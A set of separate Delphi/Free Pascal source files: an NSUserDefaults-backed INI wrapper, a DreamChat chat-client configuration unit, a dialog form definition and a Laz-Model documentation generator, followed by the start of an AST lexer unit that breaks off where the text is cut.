unit Apple.Inifiles; interface uses System.Inifiles, System.Classes {$IFDEF MACOS} {$IFDEF IOS} , iOSapi.Foundation, iosAPI.CocoaTypes {$ELSE} , MacApi.Foundation {$ENDIF IOS} {$ENDIF MACOS} ; type TUserInifile = class(TCustomIniFile) private FDefaults: NSUserDefaults; function GetDictionary(const Section: string): NSMutableDictionary; function ReadPointer(const Section, Ident: string): Pointer; procedure WritePointer(const Section, Ident: string; Value: Pointer); public function ReadBool(const Section, Ident: string; Default: Boolean): Boolean; overload; override; function ReadBool(const Ident: string; Default: Boolean): Boolean; reintroduce; overload; procedure WriteBool(const Section, Ident: string; Value: Boolean); overload; override; procedure WriteBool(const Ident: string; Value: Boolean); reintroduce; overload; function ReadString(const Section, Ident, Default: string): string; overload; override; function ReadString(const Ident, Default: string): string; reintroduce; overload; procedure WriteString(const Section, Ident, Value: String); overload; override; procedure WriteString(const Ident, Value: String); reintroduce; overload; function ReadInteger(const Section, Ident: string; Default: Integer): Integer; overload; override; function ReadInteger(const Ident: string; Default: Integer): Integer; reintroduce; overload; procedure WriteInteger(const Section, Ident: string; Value: Integer); overload; override; procedure WriteInteger(const Ident: string; Value: Integer); reintroduce; overload; function ReadDate(const Section, Ident: string; Default: TDateTime): TDateTime; overload; override; function ReadDate(const Ident: string; Default: TDateTime): TDateTime; reintroduce; overload; procedure WriteDate(const Section, Ident: string; Value: TDateTime); overload; override; procedure WriteDate(const Ident: string; Value: TDateTime); reintroduce; overload; function ReadDateTime(const Section, Ident: string; Default: TDateTime): TDateTime; overload; override; function ReadDateTime(const Ident: string; Default: TDateTime): TDateTime; reintroduce; overload; procedure WriteDateTime(const Section, Ident: string; Value: TDateTime); overload; override; procedure WriteDateTime(const Ident: string; Value: TDateTime); reintroduce; overload; function ReadFloat(const Section, Ident: string; Default: Double): Double; overload; override; function ReadFloat(const Ident: string; Default: Double): Double; reintroduce; overload; procedure WriteFloat(const Section, Ident: string; Value: Double); overload; override; procedure WriteFloat(const Ident: string; Value: Double); reintroduce; overload; function ReadTime(const Section, Ident: string; Default: TDateTime): TDateTime; overload; override; function ReadTime(const Ident: string; Default: TDateTime): TDateTime; reintroduce; overload; procedure WriteTime(const Section, Ident: string; Value: TDateTime); overload; override; procedure WriteTime(const Ident: string; Value: TDateTime); reintroduce; overload; procedure ReadSection(const Section: string; Strings: TStrings); override; procedure ReadSections(Strings: TStrings); override; procedure ReadSectionValues(const Section: string; Strings: TStrings); override; procedure EraseSection(const Section: string); override; procedure DeleteKey(const Section, Ident: String); overload; override; procedure DeleteKey(const Ident: String); reintroduce; overload; procedure UpdateFile; override; constructor Create; end; resourcestring rsErrorSynchronizing = 'Error synchronizing user defaults'; implementation uses Apple.Utils, System.SysUtils, System.DateUtils, FMX.Platform, Xplat.Services, Xplat.IniFiles; { TInifile } constructor TUserInifile.Create; begin inherited Create(''); FDefaults := TNSUserDefaults.Wrap(TNSUserDefaults.OCClass.standardUserDefaults); end; procedure TUserInifile.DeleteKey(const Section, Ident: String); var lDict: NSMutableDictionary; begin if Section <> '' then begin lDict := GetDictionary(Section); if Assigned(lDict) then begin lDict.removeObjectForKey(NSStrPtr(Ident)); FDefaults.setObject(PtrForObject(lDict), NSStr(Section)); end; end else FDefaults.removeObjectForKey(NSStr(Ident)); end; procedure TUserInifile.DeleteKey(const Ident: String); begin DeleteKey('', Ident); end; procedure TUserInifile.EraseSection(const Section: string); var lDict: NSDictionary; lName: NSString; begin lName := NSStr(Section); lDict := FDefaults.dictionaryForKey(lName); if Assigned(lDict) then FDefaults.removeObjectForKey(lName); end; function TUserIniFile.GetDictionary(const Section: string): NSMutableDictionary; var lDict: NSDictionary; begin lDict := FDefaults.dictionaryForKey(NSStr(Section)); if not Assigned(lDict) then begin Result := TNSMutableDictionary.Create; FDefaults.setObject(PtrForObject(Result), NSStr(Section)); end else Result := TNSMutableDictionary.Wrap(TNSMutableDictionary.OCClass.dictionaryWithDictionary(lDict)); end; function TUserInifile.ReadBool(const Section, Ident: string; Default: Boolean): Boolean; var lPtr: Pointer; begin lPtr := ReadPointer(Section, Ident); if Assigned(lPtr) then Result := NSNumberToBool(lPtr) else Result := Default; end; function TUserInifile.ReadBool(const Ident: string; Default: Boolean): Boolean; begin Result := ReadBool('', Ident, Default); end; function TUserInifile.ReadDate(const Section, Ident: string; Default: TDateTime): TDateTime; begin Result := DateOf(ReadDateTime(Section, Ident, Default)); end; function TUserInifile.ReadDate(const Ident: string; Default: TDateTime): TDateTime; begin Result := ReadDate('', Ident, Default); end; function TUserInifile.ReadDateTime(const Ident: string; Default: TDateTime): TDateTime; begin Result := ReadDateTime('', Ident, Default); end; function TUserInifile.ReadFloat(const Ident: string; Default: Double): Double; begin Result := ReadFloat('', Ident, Default); end; function TUserInifile.ReadDateTime(const Section, Ident: string; Default: TDateTime): TDateTime; var lPtr: Pointer; begin lPtr := ReadPointer(Section, Ident); if Assigned(lPtr) then Result := NSDateToDateTime(lPtr) else Result := Default; end; function TUserInifile.ReadFloat(const Section, Ident: string; Default: Double): Double; var lPtr: Pointer; begin lPtr := ReadPointer(Section, Ident); if Assigned(lPtr) then Result := NSNumberToDouble(lPtr) else Result := Default; end; function TUserInifile.ReadInteger(const Ident: string; Default: Integer): Integer; begin Result := ReadInteger('', Ident, Default); end; function TUserInifile.ReadInteger(const Section, Ident: string; Default: Integer): Integer; var lPtr: Pointer; begin lPtr := ReadPointer(Section, Ident); if Assigned(lPtr) then Result := NSNumberToInt(lPtr) else Result := Default; end; function TUserInifile.ReadPointer(const Section, Ident: string): Pointer; var lDict: NSMutableDictionary; begin if (Section <> '') then begin lDict := GetDictionary(Section); Result := lDict.valueForKey(NSStr(Ident)); end else Result := FDefaults.objectForKey(NSStr(Ident)); end; procedure TUserInifile.ReadSection(const Section: string; Strings: TStrings); var lDict: NSMutableDictionary; lKeys: NSArray; I: Cardinal; lCount: Cardinal; lKey: Pointer; lObj: Pointer; begin Strings.BeginUpdate; try Strings.Clear; lDict := GetDictionary(Section); lKeys := lDict.allKeys; lCount := lKeys.count; for I := 0 to lCount -1 do begin lKey := lKeys.objectAtIndex(I); lObj := lDict.objectForKey(lKey); Strings.Add(Format('%s=%s', [NSStringToString(lKey), NSObjectToString(lObj)])); end; finally Strings.EndUpdate; end; end; procedure TUserInifile.ReadSections(Strings: TStrings); var lArray: NSArray; lCur: NSString; I: Integer; begin Strings.BeginUpdate; try Strings.Clear; lArray := FDefaults.dictionaryRepresentation.allKeys; for I := 0 to lArray.Count -1 do begin lCur := TNSString.Wrap(lArray.objectAtIndex(I)); if Assigned(FDefaults.dictionaryForKey(lCur)) then Strings.Add(NSStringToString(lCur)); end; finally Strings.EndUpdate; end; end; procedure TUserInifile.ReadSectionValues(const Section: string; Strings: TStrings); var lValues: TStringList; I: Integer; begin Strings.BeginUpdate; try Strings.Clear; lValues := TStringList.Create; try ReadSection(Section, lValues); for I := 0 to lValues.Count -1 do Strings.Add(lValues.ValueFromIndex[I]); finally lValues.Free; end; finally Strings.EndUpdate; end; end; function TUserInifile.ReadString(const Ident, Default: string): string; begin Result := ReadString('', Ident, Default); end; function TUserInifile.ReadTime(const Ident: string; Default: TDateTime): TDateTime; begin Result := ReadTime('', Ident, Default); end; function TUserInifile.ReadString(const Section, Ident, Default: string): string; var lPtr: Pointer; begin lPtr := ReadPointer(Section, Ident); if Assigned(lPtr) then Result := NSStringToString(lPtr) else Result := Default; end; function TUserInifile.ReadTime(const Section, Ident: string; Default: TDateTime): TDateTime; begin Result := TimeOf(ReadDateTime(Section, Ident, Default)); end; procedure TUserInifile.UpdateFile; begin if not FDefaults.synchronize then raise Exception.Create(rsErrorSynchronizing); end; procedure TUserInifile.WriteBool(const Section, Ident: string; Value: Boolean); begin WritePointer(Section, Ident, NSNumberPtr(Value)); end; procedure TUserInifile.WriteBool(const Ident: string; Value: Boolean); begin WriteBool('', Ident, Value); end; procedure TUserInifile.WriteDate(const Section, Ident: string; Value: TDateTime); begin WriteDateTime(Section, Ident, DateOf(Value)); end; procedure TUserIniFile.WritePointer(const Section, Ident: string; Value: Pointer); var lDict: NSMutableDictionary; lPtr: Pointer; lKey: NSString; begin if Section <> '' then begin lDict := GetDictionary(Section); lDict.setValue(Value, NSStr(Ident)); lPtr := PtrForObject(lDict); lKey := NSStr(Section); end else begin lPtr := Value; lKey := NSStr(Ident); end; FDefaults.setObject(lPtr, lKey); end; procedure TUserInifile.WriteString(const Ident, Value: String); begin WriteString('', Ident, Value); end; procedure TUserInifile.WriteTime(const Ident: string; Value: TDateTime); begin WriteTime('', Ident, Value); end; procedure TUserInifile.WriteDate(const Ident: string; Value: TDateTime); begin WriteDate('', Ident, Value); end; procedure TUserInifile.WriteDateTime(const Ident: string; Value: TDateTime); begin WriteDateTime('', Ident, Value); end; procedure TUserInifile.WriteFloat(const Ident: string; Value: Double); begin WriteFloat('', Ident, Value); end; procedure TUserInifile.WriteDateTime(const Section, Ident: string; Value: TDateTime); var lDate: NSDate; begin lDate := DateTimeToNSDate(Value); try WritePointer(Section, Ident, PtrForObject(lDate)); finally lDate.release; end; end; procedure TUserInifile.WriteFloat(const Section, Ident: string; Value: Double); begin WritePointer(Section, Ident, NSNumberPtr(Value)); end; procedure TUserInifile.WriteInteger(const Ident: string; Value: Integer); begin WriteInteger('', Ident, Value); end; procedure TUserInifile.WriteInteger(const Section, Ident: string; Value: Integer); begin WritePointer(Section, Ident, NSNumberPtr(Value)); end; procedure TUserInifile.WriteString(const Section, Ident, Value: String); begin WritePointer(Section, Ident, NSStrPtr(Value)); end; procedure TUserInifile.WriteTime(const Section, Ident: string; Value: TDateTime); begin //Need to ensure we're writing a TDateTime value that will correspond to //>= 1/1/1900, otherwise we get garbage back when reading the time WriteDateTime(Section, Ident, 2 + TimeOf(Value)); end; initialization TPlatformServices.Current.AddPlatformService(IIniFileService, TXplatIniFile.Create(TUserIniFile.Create)); finalization TPlatformServices.Current.RemovePlatformService(IIniFileService); end.
unit DreamChatConfig; interface uses Classes; type TDreamChatDefaults = class public // general const ConfigIniFileName = 'config.ini'; const JobsIniFileName = 'Jobs.ini'; const SmilesIniFileName = 'smiles.ini'; const DefaultSkinsDir = 'Skins\'; const DefaultUserIniFileName = 'DefaultUser.ini'; const CommunicationLibFileNameMailslot = 'mskrnl.dll'; const CommunicationLibFileNameTCP = 'tcpkrnl.dll'; const DefaultHiAll = 'Hi all!'; const ComponentsFolderName = 'Components\'; const ImagesFolderName = 'Images\'; const SmilesFolderName = 'Smiles\'; const UsersFolderName = 'Users\'; const LanguagesFolderName = 'Languages\'; const MainChatLineName = 'iTCniaM'; const SmilesSmiles = 'Smiles'; // name of section in smiles.ini const SmilesOptions = 'Options'; // name of section in smiles.ini end; TDreamChatConfig = class private // config.ini sections const Common = 'Common'; const MessagesState = 'MessagesState'; const MessagesState0 = 'MessagesState0'; const MessagesState1 = 'MessagesState1'; const MessagesState2 = 'MessagesState2'; const MessagesState3 = 'MessagesState3'; const Jobs = 'Jobs'; const Protocols = 'Protocols'; const Crypto = 'Crypto'; const ConnectionType = 'ConnectionType'; const SystemMessages = 'SystemMessages'; const HotKeys = 'HotKeys'; const LinksKeyWords = 'LinksKeyWords'; const Skin = 'Skin'; // smiles.ini section const Smiles = 'Smiles'; // parameters //section [Common] const NickName = 'NickName'; const MessageBoard = 'MessageBoard'; const ReceivedMessage = 'ReceivedMessage'; const IgnoredMessage = 'IgnoredMessage'; const MaxSizeOfMessBoardPart = 'MaxSizeOfMessBoardPart'; const AutoRefreshTime = 'AutoRefreshTime'; const MessageBoardRefreshTime = 'MessageBoardRefreshTime'; const DividedMessageBoardRefreshTime = 'DividedMessageBoardRefreshTime'; const Language = 'Language'; const PrevNicksCount = 'PrevNicksCount'; //const PrevNick1 = 'PrevNick1'; //const PrevNick2 = 'PrevNick2'; const PrevNick = 'PrevNick'; const TimeOutAWay = 'TimeOutAWay'; const TimeOutNA = 'TimeOutNA'; const MinimizeOnClose = 'MinimizeOnClose'; //section [Jobs] const CommandAndTimeDelimiter = 'CommandAndTimeDelimiter'; const JobSeekingTimer = 'JobSeekingTimer'; const RunIfJobError = 'RunIfJobError'; //section [Protocols] const ProtoName = 'ProtoName'; //section [Crypto] const Key = 'Key'; //section [ConnectionType] const Server = 'Server'; const IP = 'IP'; const Port = 'Port'; const LocalIP = 'LocalIP'; //section [SystemMessages] const RefreshMessage = 'RefreshMessage'; const TryingMessage = 'TryingMessage'; const ConnectedMessage = 'ConnectedMessage'; const SoundDebug = 'SoundDebug'; //section [HotKeys] const AppBringToFront = 'AppBringToFront'; //section [Skin] const Enable = 'Enable'; const SkinName = 'SkinName'; const SkinColor = 'SkinColor'; const SkinsPath = 'SkinsPath'; class procedure Load; public //constructor Create; //destructor Destroy; class procedure GetStrings(list: TStrings); class procedure SetStrings(list: TStrings); class function GetNickName: string; class function GetMessageBoard: string; class function GetReceivedMessage: string; class function GetIgnoredMessage: string; class function GetMaxSizeOfMessBoardPart: integer; class function GetAutoRefreshTime: integer; class function GetMessageBoardRefreshTime: integer; class function GetDividedMessageBoardRefreshTime: integer; class function GetLanguageFileName: string; class function GetPrevNicksCount: integer; // class function GetPrevNick1: string; // class function GetPrevNick2: string; class function GetPrevNick(index: integer): string; class function GetTimeOutAWay: integer; class function GetTimeOutNA: integer; class function GetMinimizeOnClose: boolean; class function GetCommandAndTimeDelimiter: string; class function GetJobSeekingTimer: integer; class function GetRunIfJobError: string; class function GetProtoName: string; class function GetCryptoKey: string; class function GetServer: string; class function GetIP: string; class function GetPort: integer; class function GetLocalIP: string; class function GetRefreshMessage: boolean; class function GetTryingMessage: boolean; class function GetConnectedMessage: boolean; class function GetSoundDebug: boolean; class function GetAppBringToFront: string; class function GetEnable: boolean; class function GetSkinName: string; class function GetSkinColor: integer; class function GetSkinsPath: string; //dchat 1.0 //dchat 1.0 class procedure FillMessagesState(list: TStrings); class procedure FillMessagesState0(list: TStrings); class procedure FillMessagesState1(list: TStrings); class procedure FillMessagesState2(list: TStrings); class procedure FillMessagesState3(list: TStrings); class procedure FillLinksKeywords(list: TStrings); // setters class procedure SetMinimizeOnClose(value: boolean); class procedure SetSkinsPath(value: string); class procedure SetEnable(value: boolean); class procedure SetSkinName(value: string); class procedure SetSkinColor(value: integer); class procedure SetNickName(value: string); class procedure SetLanguageFileName(value: string); class procedure SetProtoName(value: string); class procedure SetServer(value: string); class procedure SetIP(value: string); class procedure SetPort(value: integer); class procedure SetPrevNicksCount(value: integer); class procedure SetMessageBoard(value: string); class procedure SetPrevNick(index: integer; value: string); class procedure SetReceivedMessage(value: string); class procedure SetAppBringToFront(value: string); class procedure SetCryptoKey(value: string); class procedure DeletePrevNick(index: integer); end; implementation uses SysUtils, IniFiles, uPathBuilder, DreamChatTools; var FChatConfig: TMemIniFile = nil; { TDreamChatConfig } class procedure TDreamChatConfig.DeletePrevNick(index: integer); begin Load(); FChatConfig.DeleteKey(Common, PrevNick + IntToStr(index)); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.FillLinksKeywords(list: TStrings); begin Load(); FChatConfig.ReadSectionValues(LinksKeyWords, list); end; class procedure TDreamChatConfig.FillMessagesState(list: TStrings); var i: integer; StrList: TStrings; begin Load(); StrList := TStringList.Create; try for i := 0 to 3 do begin FChatConfig.ReadSectionValues(MessagesState + IntToStr(i), StrList); if StrList.Count > 0 then begin list.Add(StrList.Strings[0]); end else begin list.Add(TDreamChatDefaults.DefaultHiAll); end; end; finally StrList.Free; end; end; class procedure TDreamChatConfig.FillMessagesState0(list: TStrings); begin Load(); FChatConfig.ReadSectionValues(MessagesState0, list); if list.Count = 0 then list.Add(TDreamChatDefaults.DefaultHiAll); end; class procedure TDreamChatConfig.FillMessagesState1(list: TStrings); begin Load(); FChatConfig.ReadSectionValues(MessagesState1, list); end; class procedure TDreamChatConfig.FillMessagesState2(list: TStrings); begin Load(); FChatConfig.ReadSectionValues(MessagesState2, list); end; class procedure TDreamChatConfig.FillMessagesState3(list: TStrings); begin Load(); FChatConfig.ReadSectionValues(MessagesState3, list); end; class function TDreamChatConfig.GetAppBringToFront: string; begin Load(); Result := FChatConfig.ReadString(HotKeys, AppBringToFront, ''); end; class function TDreamChatConfig.GetAutoRefreshTime: integer; begin Load(); Result := FChatConfig.ReadInteger(Common, AutoRefreshTime, 180*1000); //180 sec end; class function TDreamChatConfig.GetCommandAndTimeDelimiter: string; begin Load(); Result := FChatConfig.ReadString(Jobs, CommandAndTimeDelimiter, ' '); end; class function TDreamChatConfig.GetConnectedMessage: boolean; begin Load(); Result := FChatConfig.ReadBool(SystemMessages, ConnectedMessage, True); end; class function TDreamChatConfig.GetDividedMessageBoardRefreshTime: integer; begin Load(); Result := FChatConfig.ReadInteger(Common, DividedMessageBoardRefreshTime, 1000); end; class function TDreamChatConfig.GetEnable: boolean; begin Load(); Result := FChatConfig.ReadBool(Skin, Enable, False); end; class function TDreamChatConfig.GetIgnoredMessage: string; begin Load(); Result := FChatConfig.ReadString(Common, IgnoredMessage, 'Your''s message was ignored'); //TODO: перевод??? end; class function TDreamChatConfig.GetIP: string; begin Load(); Result := FChatConfig.ReadString(ConnectionType, IP, '127.0.0.1'); end; class function TDreamChatConfig.GetJobSeekingTimer: integer; begin Load(); Result := FChatConfig.ReadInteger(Jobs, JobSeekingTimer, 60000); end; class function TDreamChatConfig.GetCryptoKey: string; begin Load(); Result := FChatConfig.ReadString(Crypto, Key, 'tahci'); end; class function TDreamChatConfig.GetLanguageFileName: string; begin Load(); Result := FChatConfig.ReadString(Common, Language, 'Languages\English.lng'); end; class function TDreamChatConfig.GetLocalIP: string; begin Load(); Result := FChatConfig.ReadString(ConnectionType, LocalIP, '127.0.0.1'); end; class function TDreamChatConfig.GetMaxSizeOfMessBoardPart: integer; begin Load(); Result := FChatConfig.ReadInteger(Common, MaxSizeOfMessBoardPart, 10); end; class function TDreamChatConfig.GetMessageBoard: string; begin Load(); Result := FChatConfig.ReadString(Common, MessageBoard, 'MessageBoard.txt'); end; class function TDreamChatConfig.GetMessageBoardRefreshTime: integer; begin Load(); Result := FChatConfig.ReadInteger(Common, MessageBoardRefreshTime, 50); end; class function TDreamChatConfig.GetMinimizeOnClose: boolean; begin Load(); Result := FChatConfig.ReadBool(Common, MinimizeOnClose, False); end; class function TDreamChatConfig.GetNickName: string; begin Load(); Result := FChatConfig.ReadString(Common, NickName, 'NoNaMe'); // TODO: perhaps NoName needs to be translated via translater end; class function TDreamChatConfig.GetPort: integer; begin Load(); Result := FChatConfig.ReadInteger(ConnectionType, Port, 6666); end; {class function TDreamChatConfig.GetPrevNick1: string; begin Load(); Result := FChatConfig.ReadString(Common, PrevNick1, ''); end; class function TDreamChatConfig.GetPrevNick2: string; begin Load(); Result := FChatConfig.ReadString(Common, PrevNick2, ''); end; } class function TDreamChatConfig.GetPrevNick(index: integer): string; begin Load(); Result := FChatConfig.ReadString(Common, PrevNick + IntToStr(index), ''); end; class function TDreamChatConfig.GetPrevNicksCount: integer; begin Load(); Result := FChatConfig.ReadInteger(Common, PrevNicksCount, 0); end; class function TDreamChatConfig.GetProtoName: string; begin Load(); Result := FChatConfig.ReadString(Protocols, ProtoName, 'iChat'); end; class function TDreamChatConfig.GetReceivedMessage: string; begin Load(); Result := FChatConfig.ReadString(Common, ReceivedMessage, '<EMPTY RECEIVED MESSAGE>'); end; class function TDreamChatConfig.GetRefreshMessage: boolean; begin Load(); Result := FChatConfig.ReadBool(SystemMessages, RefreshMessage, True); end; class function TDreamChatConfig.GetRunIfJobError: string; begin Load(); Result := FChatConfig.ReadString(Jobs, RunIfJobError, ''); end; class function TDreamChatConfig.GetServer: string; begin Load(); Result := FChatConfig.ReadString(ConnectionType, Server, 'Yes'); end; class function TDreamChatConfig.GetSkinColor: integer; begin Load(); Result := FChatConfig.ReadInteger(Skin, SkinColor, 0); end; class function TDreamChatConfig.GetSkinName: string; begin Load(); Result := FChatConfig.ReadString(Skin, SkinName, ''); end; class function TDreamChatConfig.GetSkinsPath: string; begin Load(); Result := FChatConfig.ReadString(Skin, SkinsPath, TPathBuilder.GetDefaultSkinsDirFull); end; class function TDreamChatConfig.GetSoundDebug: boolean; begin Load(); Result := FChatConfig.ReadBool(SystemMessages, SoundDebug, False); end; class procedure TDreamChatConfig.GetStrings(list: TStrings); begin Load(); FChatConfig.GetStrings(list); end; class function TDreamChatConfig.GetTimeOutAWay: integer; begin Load(); Result := FChatConfig.ReadInteger(Common, TimeOutAWay, 600); end; class function TDreamChatConfig.GetTimeOutNA: integer; begin Load(); Result := FChatConfig.ReadInteger(Common, TimeOutNA, 1200); end; class function TDreamChatConfig.GetTryingMessage: boolean; begin Load(); Result := FChatConfig.ReadBool(SystemMessages, TryingMessage, True); end; //dchat 1.0 //dchat 1.0 class procedure TDreamChatConfig.Load; begin if FChatConfig = nil then FChatConfig := TMemIniFile.Create(TPathBuilder.GetConfigIniFileName()); end; class procedure TDreamChatConfig.SetEnable(value: boolean); begin Load(); FChatConfig.WriteBool(Skin, Enable, value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetIP(value: string); begin Load(); FChatConfig.WriteString(ConnectionType, IP, CheckIP(value)); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetLanguageFileName(value: string); begin Load(); FChatConfig.WriteString(Common, Language, TDreamChatDefaults.LanguagesFolderName + ExtractFileName(value)); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetMessageBoard(value: string); begin Load(); FChatConfig.WriteString(Common, MessageBoard, value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetMinimizeOnClose(value: boolean); begin Load(); FChatConfig.WriteBool(Common, MinimizeOnClose, value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetNickName(value: string); begin Load(); FChatConfig.WriteString(Common, NickName, value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetPort(value: integer); begin Load(); FChatConfig.WriteInteger(ConnectionType, Port, value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetPrevNick(index: integer; value: string); begin Load(); FChatConfig.WriteString(Common, PrevNick + IntToStr(index), value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetPrevNicksCount(value: integer); begin Load(); FChatConfig.WriteInteger(Common, PrevNicksCount, value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetProtoName(value: string); begin Load(); FChatConfig.WriteString(Protocols, ProtoName, value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetReceivedMessage(value: string); begin Load(); FChatConfig.WriteString(Common, ReceivedMessage, value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetSkinName(value: string); begin Load(); FChatConfig.WriteString(Skin, SkinName, value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetServer(value: string); begin Load(); FChatConfig.WriteString(ConnectionType, Server, value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetSkinColor(value: integer); begin Load(); FChatConfig.WriteInteger(Skin, SkinColor, value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetSkinsPath(value: string); begin Load(); FChatConfig.WriteString(Skin, SkinsPath, value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetStrings(list: TStrings); begin Load(); FChatConfig.SetStrings(list); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetAppBringToFront(value: string); begin Load(); FChatConfig.WriteString(HotKeys, AppBringToFront, value); FChatConfig.UpdateFile; end; class procedure TDreamChatConfig.SetCryptoKey(value: string); begin Load(); FChatConfig.WriteString(Crypto, Key, value); FChatConfig.UpdateFile; end; initialization finalization // free global variable if FChatConfig <> nil then begin FChatConfig.UpdateFile; FreeAndNil(FChatConfig); end; end.
object FRecountFilter: TFRecountFilter Left = 192 Top = 107 BorderStyle = bsDialog Caption = 'FRecountFilter' ClientHeight = 148 ClientWidth = 326 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] OldCreateOrder = False Position = poOwnerFormCenter PixelsPerInch = 96 TextHeight = 13 object ItemsFilter: TcxRadioGroup Left = 0 Top = 0 Width = 326 Height = 121 Align = alTop Properties.Items = < item Caption = 'Not Filter' end item Caption = 'Summa > 0' end item Caption = 'Summa < 0' end item Caption = 'Summa = 0' end item Caption = 'Summa is NULL' end> TabOrder = 0 Caption = '' end object CancelBtn: TcxButton Left = 248 Top = 126 Width = 75 Height = 21 Action = ActionCancel ParentShowHint = False ShowHint = True TabOrder = 1 LookAndFeel.Kind = lfFlat end object YesBtn: TcxButton Left = 160 Top = 126 Width = 75 Height = 21 Action = ActionYes ParentShowHint = False ShowHint = True TabOrder = 2 LookAndFeel.Kind = lfFlat end object ActionList: TActionList Left = 48 Top = 112 object ActionYes: TAction Caption = 'ActionYes' ShortCut = 121 OnExecute = ActionYesExecute end object ActionCancel: TAction Caption = 'ActionCancel' ShortCut = 27 OnExecute = ActionCancelExecute end end end
{ Laz-Model Copyright (C) 2002 Eldean AB, Peter Söderman, Ville Krumlinde Portions (C) 2016 Peter Dyson. Initial Lazarus port This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. } unit uDocGen; {$mode objfpc}{$H+} interface uses SysUtils, uIntegrator, uModel, uModelEntity, uIterators, uUseful, uConst, uConfig; type TDocGen = class(TExportIntegrator) protected Packages : IModelIterator; procedure TraverseModel; virtual; procedure WriteOverview; virtual; procedure WritePackageDetail(P : TUnitPackage); virtual; procedure WriteClassDetail(C : TClass); virtual; procedure WriteInterfaceDetail(I: TInterface); virtual; procedure DocStart; virtual; abstract; procedure DocFinished; virtual; abstract; procedure SelectDestPath; public DestPath : string; //Let user select path in dialog if not set IsPreview : boolean; //If true generate doc in tempdir procedure InitFromModel; override; end; //Factory function, create instance of tdocgen function CreateDocGen(Om : TObjectModel) : TDocGen; implementation uses uFPDocGen; procedure TDocGen.InitFromModel; begin if IsPreview then DestPath := uUseful.MakeTempDir else if DestPath='' then SelectDestPath; if not (DestPath[ Length(DestPath) ] in [PathDelim,':']) then DestPath := DestPath + PathDelim; //Get all unitpackages sorted in name order Packages := TModelIterator.Create(Model.ModelRoot.GetAllUnitPackages,ioAlpha); DocStart; TraverseModel; DocFinished; end; procedure TDocGen.SelectDestPath; var Di : TBrowseForFolderDialog; begin Di := TBrowseForFolderDialog.Create; try Di.Path := ExtractFilePath( Model.ModelRoot.GetConfigFile) + Config.DocsDir + PathDelim; if not Di.Execute then Abort; DestPath := Di.Path; finally Di.Free; end; end; procedure TDocGen.TraverseModel; var P : TUnitPackage; Mi : IModelIterator; Pro : IEldeanProgress; PCount : integer; begin //Overview with packagenames WriteOverview; Packages.Reset; //Init progressbar PCount := 0; while Packages.HasNext do begin Inc(PCount); Packages.Next; end; Packages.Reset; Pro := TEldeanProgress.Create(rsGeneratingDocumentation_kc,PCount); while Packages.HasNext do begin //Packagedetails P := Packages.Next as TUnitPackage; WritePackageDetail(P); //Class details Mi := TModelIterator.Create(P.GetClassifiers,TClass,Low(TVisibility),ioAlpha); while Mi.HasNext do WriteClassDetail(Mi.Next as TClass); //Interface details Mi := TModelIterator.Create(P.GetClassifiers,TInterface,Low(TVisibility),ioAlpha); while Mi.HasNext do WriteInterfaceDetail(Mi.Next as TInterface); Pro.Tick; end; end; ///////////////////// // TODO this should be changed so Doc can have multiple output types. // Probably based on [project &| program defaults] function CreateDocGen(Om : TObjectModel) : TDocGen; begin //Use FPDoc Result := TFPDocGen.Create(Om); end; procedure TDocGen.WriteClassDetail(C: TClass); begin end; procedure TDocGen.WriteInterfaceDetail(I: TInterface); begin end; procedure TDocGen.WriteOverview; begin end; procedure TDocGen.WritePackageDetail(P: TUnitPackage); begin end; end.
unit AST.Lexer; interface {$i compilers.inc} uses Classes, SysUtils; const MaxTokenChar = #127; type TTokenType = ( ttNone, ttToken, ttOmited, ttDigit, ttCharCode, ttNewLine, ttHexPrefix, ttUnicodeChars, ttBinPrefix, ttSingleQuote, ttDoubleQuote, ttOneLineRem, ttStartRem, ttEndRem ); TIdentifierType = ( itNone, itIdentifier, // named identifier like: 'a', 'value', 'width', etc. itChar, // char symbol like: 'a', 'b', '1', etc. itCharCodes, // string like: #$D, #1234, #10#13, etc. itString, // string like: 'abc', '111222333', etc. itInteger, // integer number like: 12345, -4534534534, etc. itHextNumber, // hexadecimal number like: $FF, -$AABB, $12, etc. itBinNumber, // binary number like: %1010101, -%1010101, etc. itFloat // floating point number like: 1.5, -4234.53, etc ); TParserErrorState = (psNoError, psCommentError, psStringError, psCharError, psSyntaxError); TTokenFlag = (tfBinDigit, tfHexDigit, tfDigit, tfFloat, tfSeparator, tfEndBlockRem); TTokenFlags = set of TTokenFlag; // Token Class TTokenClass = ( StrongKeyword, // Strong keyword AmbiguousPriorityKeyword, // Can be keyword or id, returns as keyword AmbiguousPriorityIdentifier, // Can be keyword or id, returns as id Ambiguous // Can be keyword or id, returns as ambiguous ); type TCharToken = record type TTokens = array of TCharToken; var TokenChar: Char; TokenID: Integer; TokenType: TTokenType; Flags: TTokenFlags; ChildTokens: TTokens; TokenClass: TTokenClass; end; PCharToken = ^TCharToken; TParseTokens = array [#0..#127] of TCharToken; PParseTokens = ^TParseTokens; TTextPosition = packed record Row: Integer; Col: Integer; constructor Create(Row: Integer); overload; constructor Create(Row, Col: Integer); overload; class function 